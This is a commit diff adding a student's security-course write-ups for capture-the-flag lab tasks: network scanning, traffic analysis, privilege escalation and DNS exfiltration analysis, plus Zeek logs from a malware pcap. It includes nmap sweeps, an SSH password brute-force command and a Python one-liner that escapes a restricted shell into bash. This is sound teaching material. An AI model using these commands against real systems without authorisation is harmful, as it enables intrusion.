Skip to content

Commit 1d5f668

Browse files
matoousmatoous
committedJan 6, 2020
add BSY
1 parent 560afd3 commit 1d5f668

28 files changed

+1375
-179
lines changed
 

‎BSY/02.md

+6-172
Original file line numberDiff line numberDiff line change
@@ -1,177 +1,11 @@
1-
# Lecture 02
1+
## 2. Finding Computers to Attack and Services.
22

3+
In this task we had to scan local network for open ports and find a machine we could attack.
4+
First device with open ports was router on 192.168.1.0 witch had admin web server.
5+
We tried bruteforcing the password and username on the router but that didn't seem to work.
6+
Finally we decided to try and scan elsewhere as the router probably wasn't meant to be targeted.
37

4-
Logged into the machine
5-
6-
```
7-
ssh class@147.32.82.209 -p 445
8-
```
9-
10-
And run tcpdump to capture the network traffic in following days in order to analyze
11-
it later
12-
13-
```
14-
nohup sudo tcpdump -n -s0 -i enp0s3 sudo tcpdump -n -s0 -i enp0s3 -v -w capture-%Y-%m-%d--%H:%M.pcap -G 86400 &
15-
```
16-
17-
Scan local network (Eduroam) with
18-
19-
```
20-
> nmap -sP -n -v 147.32.218.166/24
21-
```
22-
23-
```
24-
> nmap -sP -PU -n -v <your-ip>/24 --send-ip
25-
26-
Warning: The -sP option is deprecated. Please use -sn
27-
Starting Nmap 7.80 ( https://nmap.org ) at 2019-10-17 15:31 CEST
28-
Initiating Ping Scan at 15:31
29-
Scanning 255 hosts [1 port/host]
30-
sendto in send_ip_packet_sd: sendto(4, packet, 28, 0, 147.32.218.0, 16) => No route to host
31-
Offending packet: UDP 147.32.218.166:46834 > 147.32.218.0:40125 ttl=40 id=12993 iplen=7168
32-
Completed Ping Scan at 15:32, 12.61s elapsed (255 total hosts)
33-
Nmap scan report for 147.32.218.0 [host down]
34-
Nmap scan report for 147.32.218.1 [host down]
35-
Nmap scan report for 147.32.218.2
36-
Host is up (0.079s latency).
37-
MAC Address: 24:46:C8:0F:E4:82 (Unknown)
38-
Nmap scan report for 147.32.218.3
39-
Host is up (0.080s latency).
40-
MAC Address: 64:A6:51:C8:75:63 (Huawei Technologies)
41-
Nmap scan report for 147.32.218.4
42-
Host is up (0.14s latency).
43-
MAC Address: 88:BD:45:9E:D6:53 (Samsung Electronics)
44-
Nmap scan report for 147.32.218.5 [host down]
45-
Nmap scan report for 147.32.218.6 [host down]
46-
Nmap scan report for 147.32.218.7
47-
Host is up (0.12s latency).
48-
MAC Address: DC:A4:CA:E0:F8:E2 (Apple)
49-
Nmap scan report for 147.32.218.8
50-
Host is up (0.15s latency).
51-
MAC Address: D4:38:9C:3E:90:EC (Sony Mobile Communications)
52-
Nmap scan report for 147.32.218.9
53-
Host is up (0.074s latency).
54-
MAC Address: AC:92:32:EF:AB:F3 (Huawei Technologies)
55-
Nmap scan report for 147.32.218.10
56-
Host is up (0.033s latency).
57-
MAC Address: 60:F8:1D:C7:37:82 (Apple)
58-
Nmap scan report for 147.32.218.11
59-
Host is up (0.046s latency).
60-
Host is up (0.19s latency).
61-
MAC Address: 94:0E:6B:0A:98:E1 (Huawei Technologies)
62-
Nmap scan report for 147.32.218.23
63-
Host is up (0.071s latency).
64-
MAC Address: 3C:15:C2:E8:0D:38 (Apple)
65-
Nmap scan report for 147.32.218.24
66-
Host is up (0.31s latency).
67-
MAC Address: 94:65:2D:C3:07:7C (OnePlus Technology (Shenzhen))
68-
Nmap scan report for 147.32.218.25 [host down]
69-
Nmap scan report for 147.32.218.26
70-
Host is up (1.2s latency).
71-
MAC Address: 18:65:90:21:05:24 (Apple)
72-
Nmap scan report for 147.32.218.27 [host down]
73-
Nmap scan report for 147.32.218.28 [host down]
74-
Nmap scan report for 147.32.218.29
75-
Host is up (0.0054s latency).
76-
MAC Address: E4:A4:71:AD:DF:04 (Intel Corporate)
77-
Nmap scan report for 147.32.218.75
78-
Host is up (0.12s latency).
79-
MAC Address: 8C:25:05:AB:48:3B (Huawei Technologies)
80-
Nmap scan report for 147.32.218.76
81-
Host is up (0.34s latency).
82-
MAC Address: 04:1B:6D:C4:8F:17 (LG Electronics (Mobile Communications))
83-
Nmap scan report for 147.32.218.77 [host down]
84-
Nmap scan report for 147.32.218.78
85-
Host is up (0.069s latency).
86-
Nmap scan report for 147.32.218.254 [host down]
87-
Nmap scan report for 147.32.218.255 [host down]
88-
Nmap scan report for 147.32.218.166
89-
Host is up.
90-
Read data files from: /usr/local/bin/../share/nmap
91-
Nmap done: 256 IP addresses (134 hosts up) scanned in 12.67 seconds
92-
Raw packets sent: 388 (10.864KB) | Rcvd: 177 (11.408KB)
93-
```
94-
95-
Scan all open things on requested networks:
96-
97-
```
98-
sudo nmap -sSU -v 153.127.232.1-20
99-
Starting Nmap 7.80 ( https://nmap.org ) at 2019-10-17 15:43 CEST
100-
Initiating Ping Scan at 15:43
101-
Scanning 20 hosts [4 ports/host]
102-
Completed Ping Scan at 15:43, 2.34s elapsed (20 total hosts)
103-
Initiating Parallel DNS resolution of 20 hosts. at 15:43
104-
Completed Parallel DNS resolution of 20 hosts. at 15:43, 0.28s elapsed
105-
Nmap scan report for 153.127.232.4 [host down]
106-
Nmap scan report for 153.127.232.9 [host down]
107-
Nmap scan report for 153.127.232.10 [host down]
108-
Nmap scan report for 153.127.232.11 [host down]
109-
Nmap scan report for 153.127.232.13 [host down]
110-
Nmap scan report for 153.127.232.14 [host down]
111-
Nmap scan report for 153.127.232.15 [host down]
112-
Nmap scan report for 153.127.232.20 [host down]
113-
Initiating SYN Stealth Scan at 15:43
114-
Scanning 12 hosts [1000 ports/host]
115-
Discovered open port 21/tcp on 153.127.232.12
116-
Discovered open port 21/tcp on 153.127.232.16
117-
Discovered open port 22/tcp on 153.127.232.19
118-
Discovered open port 22/tcp on 153.127.232.12
119-
Discovered open port 22/tcp on 153.127.232.18
120-
Discovered open port 22/tcp on 153.127.232.17
121-
Discovered open port 21/tcp on 153.127.232.18
122-
Discovered open port 21/tcp on 153.127.232.17
123-
Discovered open port 21/tcp on 153.127.232.19
124-
Discovered open port 22/tcp on 153.127.232.16
125-
Discovered open port 3306/tcp on 153.127.232.17
126-
Discovered open port 3306/tcp on 153.127.232.19
127-
Discovered open port 443/tcp on 153.127.232.17
128-
Discovered open port 3306/tcp on 153.127.232.18
129-
Discovered open port 443/tcp on 153.127.232.19
130-
Discovered open port 3306/tcp on 153.127.232.16
131-
Discovered open port 443/tcp on 153.127.232.12
132-
Discovered open port 3306/tcp on 153.127.232.12
133-
Discovered open port 443/tcp on 153.127.232.16
134-
Discovered open port 443/tcp on 153.127.232.18
135-
Discovered open port 111/tcp on 153.127.232.16
136-
Discovered open port 111/tcp on 153.127.232.17
137-
Discovered open port 111/tcp on 153.127.232.18
138-
Discovered open port 25/tcp on 153.127.232.19
139-
Discovered open port 25/tcp on 153.127.232.12
140-
Discovered open port 80/tcp on 153.127.232.16
141-
Discovered open port 25/tcp on 153.127.232.17
142-
Discovered open port 80/tcp on 153.127.232.18
143-
Discovered open port 25/tcp on 153.127.232.16
144-
Discovered open port 80/tcp on 153.127.232.19
145-
Discovered open port 25/tcp on 153.127.232.18
146-
Discovered open port 80/tcp on 153.127.232.12
147-
Discovered open port 80/tcp on 153.127.232.17
148-
Discovered open port 513/tcp on 153.127.232.16
149-
Discovered open port 873/tcp on 153.127.232.16
150-
Discovered open port 513/tcp on 153.127.232.19
151-
Discovered open port 513/tcp on 153.127.232.12
152-
Discovered open port 513/tcp on 153.127.232.18
153-
Discovered open port 513/tcp on 153.127.232.17
154-
Discovered open port 873/tcp on 153.127.232.19
155-
Discovered open port 873/tcp on 153.127.232.12
156-
SYN Stealth Scan Timing: About 30.43% done; ETC: 15:45 (0:01:11 remaining)
157-
Discovered open port 873/tcp on 153.127.232.18
158-
Discovered open port 873/tcp on 153.127.232.17
159-
Discovered open port 514/tcp on 153.127.232.16
160-
Discovered open port 514/tcp on 153.127.232.19
161-
Discovered open port 514/tcp on 153.127.232.12
162-
Discovered open port 514/tcp on 153.127.232.18
163-
Discovered open port 514/tcp on 153.127.232.17
164-
Discovered open port 2049/tcp on 153.127.232.16
165-
SYN Stealth Scan Timing: About 52.68% done; ETC: 15:45 (0:00:55 remaining)
166-
Discovered open port 2049/tcp on 153.127.232.12
167-
Discovered open port 2049/tcp on 153.127.232.19
168-
Discovered open port 2049/tcp on 153.127.232.18
169-
Discovered open port 2049/tcp on 153.127.232.17
170-
Discovered open port 8088/tcp on 153.127.232.16
171-
```
172-
173-
## Solution to homework
174-
8+
### Solution
1759

17610
After few runs finally this nmap command brought up some servers (excluding router) with non-22 ports open:
17711

‎BSY/03.md

+46-1
Original file line numberDiff line numberDiff line change
@@ -1 +1,46 @@
1-
# Detecting intruders using tcpdump and wireshark
1+
## 3. Detecting intruders using tcpdump and wireshark
2+
3+
This task was meant for us to strengten our skills with wireshark and tcpdump.
4+
5+
### Solution
6+
7+
We captured traffic using tcpdump for over 3 hours using:
8+
9+
```
10+
nohup tcpdump -n -s0 -i eth0 -A port ! 22 &
11+
```
12+
13+
Then we twiggled around with filtering to find out something interesting.
14+
First we filtered out ssh traffic using
15+
16+
```
17+
not ssh
18+
```
19+
20+
Then we filtered the packets to keep only those for which we are the destination:
21+
22+
```
23+
not ssh and ip.dst == 192.168.1.171
24+
```
25+
26+
We saw a lot of port scans and other stuff happening so we filtered it out
27+
to see only non-empty packets
28+
29+
```
30+
not ssh and ip.dst == 192.168.1.171 and (udp.length > 0 or tcp.len > 0)
31+
```
32+
33+
we also removed ICMP packets
34+
35+
```
36+
not ssh and ip.dst == 192.168.1.171 and (udp.length > 0 or tcp.len > 0) and not icmp
37+
```
38+
39+
This left us with 186 packets, after a quick visual scan we saw that some contain wierd
40+
messages with "BEEP"s.
41+
42+
Finally, the whole BEEPING stream contained message encoded in morse code, e.g.
43+
short BEEP standing for '.' and long BEEEPS standing for '-'. Decoded morse code
44+
message contained token that needed to be written to the flag server (`192.168.1.167`) in order to obtain
45+
the flag.
46+

‎BSY/04.md

-5
This file was deleted.

‎BSY/07.md ‎BSY/06.md

+3-1
Original file line numberDiff line numberDiff line change
@@ -1,4 +1,4 @@
1-
# 6: Privilege Escalation and Persistence
1+
## 6: Privilege Escalation and Persistence
22

33
The task is simple: Get SSH access to moriarty@192.168.1.193 and find flag.
44
We are given a hint: Despite being a criminal mastermind,
@@ -55,3 +55,5 @@ get killed by the script.
5555
After looking into the /vat/tmp/tokens folder we find token and flag server for first part
5656
of the task as well. We try to submit both flags but flag for token for the part B doesn't
5757
work which we later get to know was unintentional.
58+
59+

‎BSY/09.md

+87
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,87 @@
1+
## 9. Data exfiltration techniques and their detection
2+
3+
In this goal our task is to detect and analyze exfiltration in pcap files.
4+
5+
### 9.a
6+
7+
Upon visually inspecting the pcap we see that there are some long DNS TXT record queries.
8+
We filtered those out using 'dns.txt' filter. Then we went to the flag server mentioned
9+
in task description on `192.168.1.167:8991`.
10+
11+
The server prompted as with several questions:
12+
13+
```
14+
What was the domain used for exfiltration? (input the last part of the subdomain and the TLD, e.g. google.com)
15+
```
16+
17+
The answer to this can be found by simply viewing the TXT queries. The domain ends
18+
with securitytesting.online and that is the answer.
19+
20+
```
21+
<Legolas> Which type of DNS record was used?
22+
```
23+
24+
As mentioned before the queries were of TXT type.
25+
26+
```
27+
<Legolas> How many queries were used for the exfiltration in total?
28+
```
29+
30+
The number of filtered out txt queries from INIT to last packet is 61.
31+
32+
After that we received our flag:
33+
34+
```
35+
<Legolas> Your friends are with you: BSY-FLAG-A09A-{...}
36+
```
37+
38+
### 9.b
39+
40+
In this task we see pcap of dns data exfiltration again. This time we know which tool
41+
was used [DNSExfiltrator](https://github.com/Arno0x/DNSExfiltrator) and we have the
42+
information that password 'pass' was used.
43+
44+
We again filtered the packets using `dns.txt` and copied out both packets that were
45+
used for exfiltration:
46+
47+
```
48+
init.ORSXG5BOOR4HI7BR.base64.securitytesting.online: type TXT, class IN
49+
```
50+
51+
and
52+
53+
```
54+
Name: 0.EIu3wCinsPK_RDCVv5d-28e2TU-Ec1BHT83QblPN3mOo-L1-dXVkSPod7iTczcQ.tlULhh7p_QqO-k4FtUQ56nkbgIOkTNePAkkDmEWAggVL7hEcLJpKORiesVBGsol.AEJgjlMn2JczQo6KGqUAJ4GtnaXI3YZW7uEel8fq0kjjJvQfVhtbHHKyx9bEhJO.zxhc39atS4.securitytesting.online
55+
```
56+
57+
We cloned the repository with DNSExfiltrator and modified the code a bit to decode our string with fix password
58+
without the need to run the whole process. After extracting the result zip file
59+
we get folder with one single file: test.txt with following content:
60+
61+
```
62+
lalalala
63+
passwords: jkgjhqgfwgefjh
64+
```
65+
66+
We then proceed to the flag server again, this time running on `192.168.1.167:8992`
67+
First question:
68+
69+
```
70+
<Gimli> What is the name of the exfiltrated file?
71+
```
72+
73+
we already know the answer, the extracted file is `test.txt`
74+
75+
```
76+
<Gimli> What is the password inside the file?
77+
```
78+
79+
Answer is in the file: `jkgjhqgfwgefjh`
80+
81+
Answering these two questions was enough to get the flag:
82+
83+
```
84+
<Gimli> Never thought I'd die fighting side by side with an Elf: BSY-FLAG-A09B-{...}
85+
```
86+
87+

‎BSY/bonus/bonus_assignment_stage1.pcap

6.16 MB
Binary file not shown.

‎BSY/bonus/bonus_assignment_stage1_2.pcap

6.16 MB
Binary file not shown.

‎BSY/bonus/conn.log

+322
Large diffs are not rendered by default.

‎BSY/bonus/dhcp.log

+10
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,10 @@
1+
#separator \x09
2+
#set_separator ,
3+
#empty_field (empty)
4+
#unset_field -
5+
#path dhcp
6+
#open 2019-12-23-23-43-55
7+
#fields ts uids client_addr server_addr mac host_name client_fqdn domain requested_addr assigned_addr lease_time client_message server_message msg_types duration
8+
#types time set[string] addr addr string string string string addr addr interval string string vector[string] interval
9+
7112.640852 C4r5oF1ywfwcWu4oog,C89jRV2ZrYsiRXeG0l 10.0.2.15 10.0.2.2 08:00:27:40:76:00 robert-PC robert-PC - 10.0.2.15 10.0.2.15 86400.000000 - - REQUEST,ACK 0.000238
10+
#close 2019-12-23-23-43-55

‎BSY/bonus/dns.log

+157
Large diffs are not rendered by default.

‎BSY/bonus/extract/0.57.44.2492_hnimpnehoodheedghdeeijklkeaacbdc(1).crx

+6
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,6 @@
1+
<HTML><HEAD><meta http-equiv="content-type" content="text/html;charset=utf-8">
2+
<TITLE>302 Moved</TITLE></HEAD><BODY>
3+
<H1>302 Moved</H1>
4+
The document has moved
5+
<A HREF="http://r7---sn-vufvj1-2gbe.gvt1.com/edgedl/chromewebstore/L2Nocm9tZV9leHRlbnNpb24vYmxvYnMvNDMwQUFWRnZjR3pDbVdiZUhHcEZzX25kZw/0.57.44.2492_hnimpnehoodheedghdeeijklkeaacbdc.crx?cms_redirect=yes&amp;ip=109.81.208.198&amp;ipbits=0&amp;mm=28&amp;mn=sn-vufvj1-2gbe&amp;ms=nvh&amp;mt=1525240878&amp;mv=m&amp;pl=24&amp;shardbypass=yes">here</A>.
6+
</BODY></HTML>

‎BSY/bonus/extract/0.57.44.2492_hnimpnehoodheedghdeeijklkeaacbdc(2).crx

+6
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,6 @@
1+
<HTML><HEAD><meta http-equiv="content-type" content="text/html;charset=utf-8">
2+
<TITLE>302 Moved</TITLE></HEAD><BODY>
3+
<H1>302 Moved</H1>
4+
The document has moved
5+
<A HREF="http://r7---sn-vufvj1-2gbe.gvt1.com/edgedl/chromewebstore/L2Nocm9tZV9leHRlbnNpb24vYmxvYnMvNDMwQUFWRnZjR3pDbVdiZUhHcEZzX25kZw/0.57.44.2492_hnimpnehoodheedghdeeijklkeaacbdc.crx?cms_redirect=yes&amp;ip=109.81.208.198&amp;ipbits=0&amp;mm=28&amp;mn=sn-vufvj1-2gbe&amp;ms=nvh&amp;mt=1525240939&amp;mv=m&amp;pl=24&amp;shardbypass=yes">here</A>.
6+
</BODY></HTML>

‎BSY/bonus/extract/0.57.44.2492_hnimpnehoodheedghdeeijklkeaacbdc.crx

+6
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,6 @@
1+
<HTML><HEAD><meta http-equiv="content-type" content="text/html;charset=utf-8">
2+
<TITLE>302 Moved</TITLE></HEAD><BODY>
3+
<H1>302 Moved</H1>
4+
The document has moved
5+
<A HREF="http://r7---sn-vufvj1-2gbe.gvt1.com/edgedl/chromewebstore/L2Nocm9tZV9leHRlbnNpb24vYmxvYnMvNDMwQUFWRnZjR3pDbVdiZUhHcEZzX25kZw/0.57.44.2492_hnimpnehoodheedghdeeijklkeaacbdc.crx?cms_redirect=yes&amp;ip=109.81.208.198&amp;ipbits=0&amp;mm=28&amp;mn=sn-vufvj1-2gbe&amp;ms=nvh&amp;mt=1525240878&amp;mv=m&amp;pl=24&amp;shardbypass=yes">here</A>.
6+
</BODY></HTML>

‎BSY/bonus/extract/dstrootcax3.p7c

893 Bytes
Binary file not shown.

‎BSY/bonus/extract/final.crx

+18
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,18 @@
1+
<HTML><HEAD><meta http-equiv="content-type" content="text/html;charset=utf-8">
2+
<TITLE>302 Moved</TITLE></HEAD><BODY>
3+
<H1>302 Moved</H1>
4+
The document has moved
5+
<A HREF="http://r7---sn-vufvj1-2gbe.gvt1.com/edgedl/chromewebstore/L2Nocm9tZV9leHRlbnNpb24vYmxvYnMvNDMwQUFWRnZjR3pDbVdiZUhHcEZzX25kZw/0.57.44.2492_hnimpnehoodheedghdeeijklkeaacbdc.crx?cms_redirect=yes&amp;ip=109.81.208.198&amp;ipbits=0&amp;mm=28&amp;mn=sn-vufvj1-2gbe&amp;ms=nvh&amp;mt=1525240878&amp;mv=m&amp;pl=24&amp;shardbypass=yes">here</A>.
6+
</BODY></HTML>
7+
<HTML><HEAD><meta http-equiv="content-type" content="text/html;charset=utf-8">
8+
<TITLE>302 Moved</TITLE></HEAD><BODY>
9+
<H1>302 Moved</H1>
10+
The document has moved
11+
<A HREF="http://r7---sn-vufvj1-2gbe.gvt1.com/edgedl/chromewebstore/L2Nocm9tZV9leHRlbnNpb24vYmxvYnMvNDMwQUFWRnZjR3pDbVdiZUhHcEZzX25kZw/0.57.44.2492_hnimpnehoodheedghdeeijklkeaacbdc.crx?cms_redirect=yes&amp;ip=109.81.208.198&amp;ipbits=0&amp;mm=28&amp;mn=sn-vufvj1-2gbe&amp;ms=nvh&amp;mt=1525240939&amp;mv=m&amp;pl=24&amp;shardbypass=yes">here</A>.
12+
</BODY></HTML>
13+
<HTML><HEAD><meta http-equiv="content-type" content="text/html;charset=utf-8">
14+
<TITLE>302 Moved</TITLE></HEAD><BODY>
15+
<H1>302 Moved</H1>
16+
The document has moved
17+
<A HREF="http://r7---sn-vufvj1-2gbe.gvt1.com/edgedl/chromewebstore/L2Nocm9tZV9leHRlbnNpb24vYmxvYnMvNDMwQUFWRnZjR3pDbVdiZUhHcEZzX25kZw/0.57.44.2492_hnimpnehoodheedghdeeijklkeaacbdc.crx?cms_redirect=yes&amp;ip=109.81.208.198&amp;ipbits=0&amp;mm=28&amp;mn=sn-vufvj1-2gbe&amp;ms=nvh&amp;mt=1525240878&amp;mv=m&amp;pl=24&amp;shardbypass=yes">here</A>.
18+
</BODY></HTML>

‎BSY/bonus/files.log

+108
Large diffs are not rendered by default.

‎BSY/bonus/http.log

+18
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,18 @@
1+
#separator \x09
2+
#set_separator ,
3+
#empty_field (empty)
4+
#unset_field -
5+
#path http
6+
#open 2019-12-23-23-43-55
7+
#fields ts uid id.orig_h id.orig_p id.resp_h id.resp_p trans_depth method host uri referrer version user_agent origin request_body_len response_body_len status_code status_msg info_code info_msg tags username password proxied orig_fuids orig_filenames orig_mime_types resp_fuids resp_filenames resp_mime_types
8+
#types time string addr port addr port count string string string string string string string count count count string count string set[enum] string string set[string] vector[string] vector[string] vector[string] vector[string] vector[string] vector[string]
9+
7275.263226 CyENx5304PIRt6dAAa 10.0.2.15 49321 192.35.177.64 80 1 GET apps.identrust.com /roots/dstrootcax3.p7c - 1.1 Microsoft-CryptoAPI/6.1 - 0 893 200 OK - - (empty) - - - - - - F9umJ932EwMSCylNgg - -
10+
7619.980493 CtkoZv13uhx1Ib7oU4 10.0.2.15 49383 216.58.206.14 80 1 HEAD redirector.gvt1.com /edgedl/chromewebstore/L2Nocm9tZV9leHRlbnNpb24vYmxvYnMvNDMwQUFWRnZjR3pDbVdiZUhHcEZzX25kZw/0.57.44.2492_hnimpnehoodheedghdeeijklkeaacbdc.crx - 1.1 Microsoft BITS/7.5 - 0 0 302 Found - - (empty) - - - - - - - - -
11+
7620.100075 CFJGvrxE7XeI6oxH8 10.0.2.15 49384 90.182.119.18 80 1 HEAD r7---sn-vufvj1-2gbe.gvt1.com /edgedl/chromewebstore/L2Nocm9tZV9leHRlbnNpb24vYmxvYnMvNDMwQUFWRnZjR3pDbVdiZUhHcEZzX25kZw/0.57.44.2492_hnimpnehoodheedghdeeijklkeaacbdc.crx?cms_redirect=yes&ip=109.81.208.198&ipbits=0&mm=28&mn=sn-vufvj1-2gbe&ms=nvh&mt=1525240878&mv=m&pl=24&shardbypass=yes - 1.1 Microsoft BITS/7.5 - 0 0 200 OK - - (empty) - - - - - - - - -
12+
7627.407013 CtkoZv13uhx1Ib7oU4 10.0.2.15 49383 216.58.206.14 80 2 GET redirector.gvt1.com /edgedl/chromewebstore/L2Nocm9tZV9leHRlbnNpb24vYmxvYnMvNDMwQUFWRnZjR3pDbVdiZUhHcEZzX25kZw/0.57.44.2492_hnimpnehoodheedghdeeijklkeaacbdc.crx - 1.1 Microsoft BITS/7.5 - 0 523 302 Found - - (empty) - - - - - - FOSaqu4rqTTG3CTDJk - text/html
13+
7627.434865 CFJGvrxE7XeI6oxH8 10.0.2.15 49384 90.182.119.18 80 2 GET r7---sn-vufvj1-2gbe.gvt1.com /edgedl/chromewebstore/L2Nocm9tZV9leHRlbnNpb24vYmxvYnMvNDMwQUFWRnZjR3pDbVdiZUhHcEZzX25kZw/0.57.44.2492_hnimpnehoodheedghdeeijklkeaacbdc.crx?cms_redirect=yes&ip=109.81.208.198&ipbits=0&mm=28&mn=sn-vufvj1-2gbe&ms=nvh&mt=1525240878&mv=m&pl=24&shardbypass=yes - 1.1 Microsoft BITS/7.5 - 0 5431 206 Partial Content - - (empty) - - - - - - FoirTF2M7ed5uzcUt7 - application/chrome-ext
14+
7631.628806 CtkoZv13uhx1Ib7oU4 10.0.2.15 49383 216.58.206.14 80 3 GET redirector.gvt1.com /edgedl/chromewebstore/L2Nocm9tZV9leHRlbnNpb24vYmxvYnMvNDMwQUFWRnZjR3pDbVdiZUhHcEZzX25kZw/0.57.44.2492_hnimpnehoodheedghdeeijklkeaacbdc.crx - 1.1 Microsoft BITS/7.5 - 0 523 302 Found - - (empty) - - - - - - FOSaqu4rqTTG3CTDJk - text/html
15+
7631.657408 CFJGvrxE7XeI6oxH8 10.0.2.15 49384 90.182.119.18 80 3 GET r7---sn-vufvj1-2gbe.gvt1.com /edgedl/chromewebstore/L2Nocm9tZV9leHRlbnNpb24vYmxvYnMvNDMwQUFWRnZjR3pDbVdiZUhHcEZzX25kZw/0.57.44.2492_hnimpnehoodheedghdeeijklkeaacbdc.crx?cms_redirect=yes&ip=109.81.208.198&ipbits=0&mm=28&mn=sn-vufvj1-2gbe&ms=nvh&mt=1525240878&mv=m&pl=24&shardbypass=yes - 1.1 Microsoft BITS/7.5 - 0 10569 206 Partial Content - - (empty) - - - - - - - - -
16+
7633.760766 CtkoZv13uhx1Ib7oU4 10.0.2.15 49383 216.58.206.14 80 4 GET redirector.gvt1.com /edgedl/chromewebstore/L2Nocm9tZV9leHRlbnNpb24vYmxvYnMvNDMwQUFWRnZjR3pDbVdiZUhHcEZzX25kZw/0.57.44.2492_hnimpnehoodheedghdeeijklkeaacbdc.crx - 1.1 Microsoft BITS/7.5 - 0 523 302 Found - - (empty) - - - - - - FOSaqu4rqTTG3CTDJk - text/html
17+
7633.788894 CFJGvrxE7XeI6oxH8 10.0.2.15 49384 90.182.119.18 80 4 GET r7---sn-vufvj1-2gbe.gvt1.com /edgedl/chromewebstore/L2Nocm9tZV9leHRlbnNpb24vYmxvYnMvNDMwQUFWRnZjR3pDbVdiZUhHcEZzX25kZw/0.57.44.2492_hnimpnehoodheedghdeeijklkeaacbdc.crx?cms_redirect=yes&ip=109.81.208.198&ipbits=0&mm=28&mn=sn-vufvj1-2gbe&ms=nvh&mt=1525240939&mv=m&pl=24&shardbypass=yes - 1.1 Microsoft BITS/7.5 - 0 10268 206 Partial Content - - (empty) - - - - - - FqPGNE3XQBiEQeC7xd - -
18+
#close 2019-12-23-23-43-55

‎BSY/bonus/notes.md

+17
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,17 @@
1+
2+
Server `192.168.1.167:9292` communication:
3+
4+
```
5+
<Grinch> Please provide your token
6+
***
7+
<Grinch> What type of malware is it? (Choose on from Banking Trojan, Ransomware, RAT, Adware, CryptoMiner)
8+
9+
<Grinch> What is the periodicity of the communication in seconds? (Remove decimals, for example 122.7 becomes 122)
10+
11+
<Grinch> What is the port used for the C&C communication?
12+
13+
<Grinch> What is the DNS server IP address?
14+
15+
You answered correctly 0 out of 4 questions.
16+
You have 13 remaining attempts.
17+
```

‎BSY/bonus/packet_filter.log

+10
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,10 @@
1+
#separator \x09
2+
#set_separator ,
3+
#empty_field (empty)
4+
#unset_field -
5+
#path packet_filter
6+
#open 2019-12-23-23-43-55
7+
#fields ts node filter init success
8+
#types time string string bool bool
9+
1577141035.061436 zeek ip or not ip T T
10+
#close 2019-12-23-23-43-55

‎BSY/bonus/ssl.log

+84
Large diffs are not rendered by default.

‎BSY/bonus/weird.log

+11
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,11 @@
1+
#separator \x09
2+
#set_separator ,
3+
#empty_field (empty)
4+
#unset_field -
5+
#path weird
6+
#open 2019-12-23-23-43-55
7+
#fields ts uid id.orig_h id.orig_p id.resp_h id.resp_p name addl notice peer
8+
#types time string addr port addr port string string bool string
9+
10.181681 - - - - - unknown_protocol 2 F zeek
10+
7112.656757 - - - - - unknown_protocol 2 F zeek
11+
#close 2019-12-23-23-43-55

‎BSY/bonus/x509.log

+97
Large diffs are not rendered by default.

‎BSY/report.md

+222
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,222 @@
1+
# BSY Report
2+
3+
This is report for 4 tasks from BSY by Matous Dzivjak.
4+
5+
## 2. Finding Computers to Attack and Services.
6+
7+
In this task we had to scan local network for open ports and find a machine we could attack.
8+
First device with open ports was router on 192.168.1.0 witch had admin web server.
9+
We tried bruteforcing the password and username on the router but that didn't seem to work.
10+
Finally we decided to try and scan elsewhere as the router probably wasn't meant to be targeted.
11+
12+
### Solution
13+
14+
After few runs finally this nmap command brought up some servers (excluding router) with non-22 ports open:
15+
16+
```
17+
sudo nmap -sS -n -v 192.168.1.0/24 -p- -T5 --min-parallelism 200 --max-rtt-timeout 5 --max-retries 1 --max-scan-delay 0 --min-rate 1000
18+
```
19+
20+
I noticed that if run without verbose flag nmap doesn't report on some ports which took a few hours from me.
21+
The server with non-22 ports was 192.168.1.167. Some of the open ports were 22911, 8752, 13079, 26711.
22+
Most of the returnes ASCII art, one of them also contained token `EuphoricMushroomsFeedAnywhere`, this token was then
23+
requested by service on port 26711. We connected to this service using ncat:
24+
25+
```
26+
ncat 192.168.1.167 26711
27+
```
28+
29+
And upon being prompted for the token all that was needed was send this token as request. Response was the flag.
30+
31+
## 3. Detecting intruders using tcpdump and wireshark
32+
33+
This task was meant for us to strengten our skills with wireshark and tcpdump.
34+
35+
### Solution
36+
37+
We captured traffic using tcpdump for over 3 hours using:
38+
39+
```
40+
nohup tcpdump -n -s0 -i eth0 -A port ! 22 &
41+
```
42+
43+
Then we twiggled around with filtering to find out something interesting.
44+
First we filtered out ssh traffic using
45+
46+
```
47+
not ssh
48+
```
49+
50+
Then we filtered the packets to keep only those for which we are the destination:
51+
52+
```
53+
not ssh and ip.dst == 192.168.1.171
54+
```
55+
56+
We saw a lot of port scans and other stuff happening so we filtered it out
57+
to see only non-empty packets
58+
59+
```
60+
not ssh and ip.dst == 192.168.1.171 and (udp.length > 0 or tcp.len > 0)
61+
```
62+
63+
we also removed ICMP packets
64+
65+
```
66+
not ssh and ip.dst == 192.168.1.171 and (udp.length > 0 or tcp.len > 0) and not icmp
67+
```
68+
69+
This left us with 186 packets, after a quick visual scan we saw that some contain wierd
70+
messages with "BEEP"s.
71+
72+
Finally, the whole BEEPING stream contained message encoded in morse code, e.g.
73+
short BEEP standing for '.' and long BEEEPS standing for '-'. Decoded morse code
74+
message contained token that needed to be written to the flag server (`192.168.1.167`) in order to obtain
75+
the flag.
76+
77+
## 6: Privilege Escalation and Persistence
78+
79+
The task is simple: Get SSH access to moriarty@192.168.1.193 and find flag.
80+
We are given a hint: Despite being a criminal mastermind,
81+
this person loves reading superhero comic books….. nerd!
82+
83+
So first we tried to bruteforce the password for user moriarty using the list
84+
of 1000 most common passwords (https://raw.githubusercontent.com/DavidWittman/wpxmlrpcbrute/master/wordlists/1000-most-common-passwords.txt)
85+
and command:
86+
87+
```
88+
sudo nmap -sS -sV -p 22 192.168.1.193 -v -n --script ssh-brute --script-args userdb=names.txt,passdb=1000-most-common-passwords.txt
89+
```
90+
91+
This sadly failed and didn't find the correct password.
92+
So we tried to guess what the password might be and on the first try we get in;
93+
the password was 'batman'.
94+
95+
After getting in we see, that we have only 2 command available, python and ls.
96+
Using python we are able to spawn a shell:
97+
98+
```
99+
import os; print(os.system('/bin/bash'))
100+
```
101+
102+
After that, we could roam freely all over the server.
103+
